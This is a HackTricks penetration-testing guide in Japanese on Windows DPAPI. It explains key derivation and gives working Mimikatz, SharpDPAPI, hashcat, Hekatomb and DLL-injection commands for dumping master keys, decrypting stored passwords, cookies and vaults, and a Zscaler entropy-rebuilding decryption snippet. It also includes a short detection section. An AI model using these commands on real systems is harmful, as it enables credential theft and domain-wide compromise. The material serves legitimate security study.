DPAPI - パスワードの抽出

Reading time: 25 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DPAPIとは

データ保護API(DPAPI)は、主にWindowsオペレーティングシステム内で非対称プライベートキーの対称暗号化に利用され、ユーザーまたはシステムの秘密を重要なエントロピーのソースとして活用します。このアプローチは、開発者がユーザーのログオン秘密から派生したキーを使用してデータを暗号化できるようにすることで、暗号化を簡素化し、システム暗号化の場合はシステムのドメイン認証秘密を使用することで、開発者が暗号化キーの保護を自ら管理する必要を排除します。

DPAPIを使用する最も一般的な方法は、**CryptProtectDataおよびCryptUnprotectData**関数を通じてであり、これによりアプリケーションは現在ログオンしているプロセスのセッションを使用してデータを安全に暗号化および復号化できます。これは、暗号化されたデータはそれを暗号化した同じユーザーまたはシステムによってのみ復号化できることを意味します。

さらに、これらの関数は**entropyパラメータ**も受け入れ、暗号化および復号化中に使用されます。したがって、このパラメータを使用して暗号化されたものを復号化するには、暗号化中に使用されたのと同じエントロピー値を提供する必要があります。

ユーザーキーの生成

DPAPIは、各ユーザーの資格情報に基づいてユニークなキー(**pre-key**と呼ばれる)を生成します。このキーはユーザーのパスワードやその他の要因から派生し、アルゴリズムはユーザーのタイプによって異なりますが、最終的にはSHA1になります。たとえば、ドメインユーザーの場合、ユーザーのHTLMハッシュに依存します

これは特に興味深いことで、攻撃者がユーザーのパスワードハッシュを取得できれば、次のことが可能になります:

  • そのユーザーのキーを使用してDPAPIで暗号化されたデータを復号化し、APIに連絡する必要がありません
  • オフラインでパスワードをクラックし、有効なDPAPIキーを生成しようとする

さらに、ユーザーがDPAPIを使用してデータを暗号化するたびに、新しいマスターキーが生成されます。このマスターキーが実際にデータを暗号化するために使用されます。各マスターキーには、それを識別するGUID(グローバル一意識別子)が付与されます。

マスターキーは、%APPDATA%\Microsoft\Protect\<sid>\<guid>ディレクトリに保存され、ここで{SID}はそのユーザーのセキュリティ識別子です。マスターキーはユーザーのpre-keyによって暗号化され、回復のためにドメインバックアップキーでも暗号化されて保存されます(同じキーが2つの異なるパスで2回暗号化されて保存されます)。

注意すべきは、マスターキーを暗号化するために使用されるドメインキーはドメインコントローラーにあり、決して変更されないため、攻撃者がドメインコントローラーにアクセスできれば、ドメインバックアップキーを取得し、ドメイン内のすべてのユーザーのマスターキーを復号化できることです。

暗号化されたブロブには、そのヘッダー内にデータを暗号化するために使用されたマスターキーのGUIDが含まれています。

tip

DPAPIで暗号化されたブロブは**01 00 00 00**で始まります

マスターキーを見つける:

bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

これはユーザーのマスタキーの一部の見た目です:

マシン/システムキーの生成

これはマシンがデータを暗号化するために使用するキーです。これはDPAPI_SYSTEM LSAシークレットに基づいており、SYSTEMユーザーのみがアクセスできる特別なキーです。このキーは、マシンレベルの資格情報やシステム全体のシークレットなど、システム自体がアクセスする必要があるデータを暗号化するために使用されます。

これらのキーはドメインバックアップを持っていないため、ローカルでのみアクセス可能であることに注意してください:

  • Mimikatzは、コマンドmimikatz lsadump::secretsを使用してLSAシークレットをダンプすることでアクセスできます。
  • シークレットはレジストリ内に保存されているため、管理者はアクセスするためにDACL権限を変更することができます。レジストリパスはHKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEMです。

DPAPIによって保護されたデータ

DPAPIによって保護されている個人データには以下が含まれます:

  • Windows資格情報
  • Internet ExplorerおよびGoogle Chromeのパスワードと自動補完データ
  • OutlookやWindows MailなどのアプリケーションのEメールおよび内部FTPアカウントのパスワード
  • 共有フォルダ、リソース、ワイヤレスネットワーク、Windows Vaultのパスワード、暗号化キーを含む
  • リモートデスクトップ接続、.NET Passport、およびさまざまな暗号化および認証目的のための秘密鍵のパスワード
  • Credential Managerによって管理されるネットワークパスワードおよびSkype、MSNメッセンジャーなどのアプリケーションで使用される個人データ
  • レジストリ内の暗号化されたブロブ
  • ...

システム保護データには以下が含まれます:

  • Wifiパスワード
  • スケジュールされたタスクのパスワード
  • ...

マスタキー抽出オプション

  • ユーザーがドメイン管理者権限を持っている場合、彼らはドメインバックアップキーにアクセスして、ドメイン内のすべてのユーザーマスタキーを復号化できます:
bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export

# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
  • ローカル管理者権限を持つことで、LSASSメモリにアクセスして、すべての接続ユーザーのDPAPIマスターキーとSYSTEMキーを抽出することが可能です。
bash
# Mimikatz
mimikatz sekurlsa::dpapi
  • ユーザーがローカル管理者権限を持っている場合、DPAPI_SYSTEM LSAシークレットにアクセスして、マシンマスタキーを復号化できます:
bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
  • ユーザーのパスワードまたはNTLMハッシュが知られている場合、ユーザーのマスターキーを直接復号化できます:
bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected

# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
  • ユーザーとしてセッション内にいる場合、RPCを使用してマスターキーを復号化するためのバックアップキーをDCに要求することが可能です。ローカル管理者であり、ユーザーがログインしている場合、これを行うために彼のセッショントークンを盗むことができます:
bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

リストボールト

bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

DPAPI暗号化データへのアクセス

DPAPI暗号化データの検索

一般的なユーザーの保護されたファイルは以下にあります:

  • C:\Users\username\AppData\Roaming\Microsoft\Protect\*
  • C:\Users\username\AppData\Roaming\Microsoft\Credentials\*
  • C:\Users\username\AppData\Roaming\Microsoft\Vault\*
  • 上記のパスで\Roaming\\Local\に変更しても確認してください。

列挙の例:

bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

SharpDPAPI は、ファイルシステム、レジストリ、および B64 ブロブ内の DPAPI 暗号化ブロブを見つけることができます:

bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default

# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\

# Search a blob inside a file
search /type:file /path:C:\path\to\file

# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]

注意してください、SharpChrome(同じリポジトリから)は、DPAPIを使用してクッキーのような機密データを復号化するために使用できます。

アクセスキーとデータ

  • SharpDPAPIを使用して、現在のセッションからDPAPIで暗号化されたファイルから資格情報を取得します:
bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect

# Decrypt machine data
SharpDPAPI.exe machinetriage
  • 資格情報情報を取得 例えば、暗号化されたデータやguidMasterKey。
bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]
  • マスタキーにアクセス:

RPCを使用して、ドメインバックアップキーを要求するユーザーのマスタキーを復号化します:

bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc

# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc

SharpDPAPIツールは、マスタキーの復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために/rpcを使用したり、プレーンテキストパスワードを使用するために/passwordを使用したり、DPAPIドメインプライベートキーファイルを指定するために/pvkを使用したりすることが可能であることに注意してください...):

/target:FILE/folder     -   triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64...          -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk            -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X             -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X                 -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X              -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                    -   decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER          -   triage a remote server, assuming admin access
/hashes                 -   output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
  • マスタキーを使用してデータを復号化する:
bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>

SharpDPAPIツールは、credentials|vaults|rdg|keepass|triage|blob|psの復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために/rpcを使用することができ、平文のパスワードを使用するために/password、DPAPIドメインプライベートキーファイルを指定するために/pvk、現在のユーザーのセッションを使用するために/unprotectを使用することができることに注意してください...):

Decryption:
/unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X         -   decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X             -   decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X          -   decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc                -   decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption

Targeting:
/target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER      -   triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
  • 現在のユーザーセッションを使用してデータを復号化する:
bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect

# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect

オプショナルエントロピーの取り扱い ("サードパーティエントロピー")

一部のアプリケーションは、CryptProtectData に追加の エントロピー 値を渡します。この値がないと、正しいマスタキーが知られていても、ブロブを復号化することはできません。したがって、この方法で保護された資格情報をターゲットにする際には、エントロピーを取得することが不可欠です(例:Microsoft Outlook、一部のVPNクライアント)。

EntropyCapture (2022) は、ターゲットプロセス内のDPAPI関数をフックし、提供された任意のエントロピーを透過的に記録するユーザーモードDLLです。outlook.exevpnclient.exe のようなプロセスに対して DLLインジェクション モードでEntropyCaptureを実行すると、各エントロピーバッファを呼び出しプロセスとブロブにマッピングしたファイルが出力されます。キャプチャされたエントロピーは、後で SharpDPAPI (/entropy:) または Mimikatz (/entropy:<file>) に供給してデータを復号化するために使用できます。

powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll

# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>

マスターキーのオフラインクラッキング (Hashcat & DPAPISnoop)

Microsoftは、Windows 10 v1607(2016)からcontext 3マスターキー形式を導入しました。hashcat v6.2.6(2023年12月)は、22100(DPAPIマスターキーv1コンテキスト)、22101(コンテキスト1)、および22102(コンテキスト3)のハッシュモードを追加し、マスターキーファイルからユーザーパスワードを直接GPU加速でクラッキングできるようにしました。攻撃者は、ターゲットシステムと対話することなく、ワードリスト攻撃やブルートフォース攻撃を実行できます。

DPAPISnoop(2024)は、このプロセスを自動化します:

bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4

ツールは、CredentialおよびVaultのブロブを解析し、クラッキングされたキーで復号化し、平文のパスワードをエクスポートすることもできます。

他のマシンのデータにアクセスする

SharpDPAPIおよびSharpChromeでは、リモートマシンのデータにアクセスするために**/server:HOSTオプションを指定できます。もちろん、そのマシンにアクセスできる必要があり、以下の例ではドメインバックアップ暗号化キーが知られている**と仮定しています。

bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64

その他のツール

HEKATOMB

HEKATOMB は、LDAP ディレクトリからすべてのユーザーとコンピュータを抽出し、RPC を通じてドメインコントローラのバックアップキーを抽出するツールです。スクリプトはすべてのコンピュータの IP アドレスを解決し、すべてのコンピュータで smbclient を実行して、すべてのユーザーの DPAPI ブロブを取得し、ドメインバックアップキーでそれを復号化します。

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAP から抽出したコンピュータのリストを使用すると、知らなかったサブネットワークをすべて見つけることができます!

DonPAPI 2.x (2024-05)

DonPAPI は、DPAPI によって保護された秘密を自動的にダンプできます。2.x リリースでは以下が導入されました:

  • 数百のホストからのブロブの並列収集
  • context 3 マスタキーの解析と自動 Hashcat クラッキング統合
  • Chrome の「アプリバウンド」暗号化クッキーのサポート(次のセクションを参照)
  • エンドポイントを繰り返しポーリングし、新しく作成されたブロブを差分する新しい --snapshot モード

DPAPISnoop

DPAPISnoop は、マスタキー/資格情報/ボールトファイルの C# パーサーで、Hashcat/JtR 形式で出力でき、オプションで自動的にクラッキングを呼び出すことができます。Windows 11 24H1 までのマシンおよびユーザーマスタキー形式を完全にサポートしています。

一般的な検出

  • C:\Users\*\AppData\Roaming\Microsoft\Protect\*C:\Users\*\AppData\Roaming\Microsoft\Credentials\* およびその他の DPAPI 関連ディレクトリへのアクセス。
  • 特に C$ADMIN$ のようなネットワーク共有から。
  • LSASS メモリにアクセスしたり、マスタキーをダンプするために MimikatzSharpDPAPI または類似のツールを使用。
  • イベント 4662: オブジェクトに対して操作が行われましたBCKUPKEY オブジェクトへのアクセスと相関させることができます。
  • プロセスが SeTrustedCredManAccessPrivilege (Credential Manager) を要求する際のイベント 4673/4674

2023-2025 脆弱性とエコシステムの変化

  • CVE-2023-36004 – Windows DPAPI セキュアチャネルスプーフィング (2023年11月)。ネットワークアクセスを持つ攻撃者は、ドメインメンバーを騙して悪意のある DPAPI バックアップキーを取得させ、ユーザーマスタキーの復号化を可能にします。2023年11月の累積更新プログラムでパッチが適用されました – 管理者は DC とワークステーションが完全にパッチされていることを確認する必要があります。
  • Chrome 127 “アプリバウンド” クッキー暗号化 (2024年7月) は、従来の DPAPI のみの保護を、ユーザーの Credential Manager に保存された追加のキーで置き換えました。オフラインでのクッキーの復号化には、DPAPI マスタキーと GCM ラップされたアプリバウンドキー の両方が必要です。SharpChrome v2.3 と DonPAPI 2.x は、ユーザーコンテキストで実行することで追加のキーを回復できます。

ケーススタディ: Zscaler Client Connector – SID から派生したカスタムエントロピー

Zscaler Client Connector は、C:\ProgramData\Zscaler の下にいくつかの構成ファイルを保存します(例: config.datusers.dat*.ztc*.mtt*.mtc*.mtp)。各ファイルは DPAPI (マシンスコープ) で暗号化されていますが、ベンダーはディスクに保存されるのではなく、ランタイムで計算される カスタムエントロピー を提供します。

エントロピーは次の2つの要素から再構築されます:

  1. ZSACredentialProvider.dll 内に埋め込まれたハードコーディングされた秘密。
  2. 構成が属する Windows アカウントの SID

DLL に実装されたアルゴリズムは次のように等価です:

csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid    = Encoding.UTF8.GetBytes(CurrentUserSID);

// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);

// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);

秘密はディスクから読み取れるDLLに埋め込まれているため、SYSTEM権限を持つ任意のローカル攻撃者は、任意のSIDのエントロピーを再生成し、オフラインでブロブを復号化することができます。

csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));

復号化により、すべてのデバイスポスチャーチェックとその期待値を含む完全なJSON構成が得られます。これは、クライアントサイドのバイパスを試みる際に非常に価値のある情報です。

TIP: 他の暗号化されたアーティファクト(*.mtt*.mtp*.mtc*.ztc)は、エントロピーなしでDPAPIによって保護されています(16 バイトのゼロ)。したがって、SYSTEM権限が取得されると、ProtectedData.Unprotectを使用して直接復号化できます。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする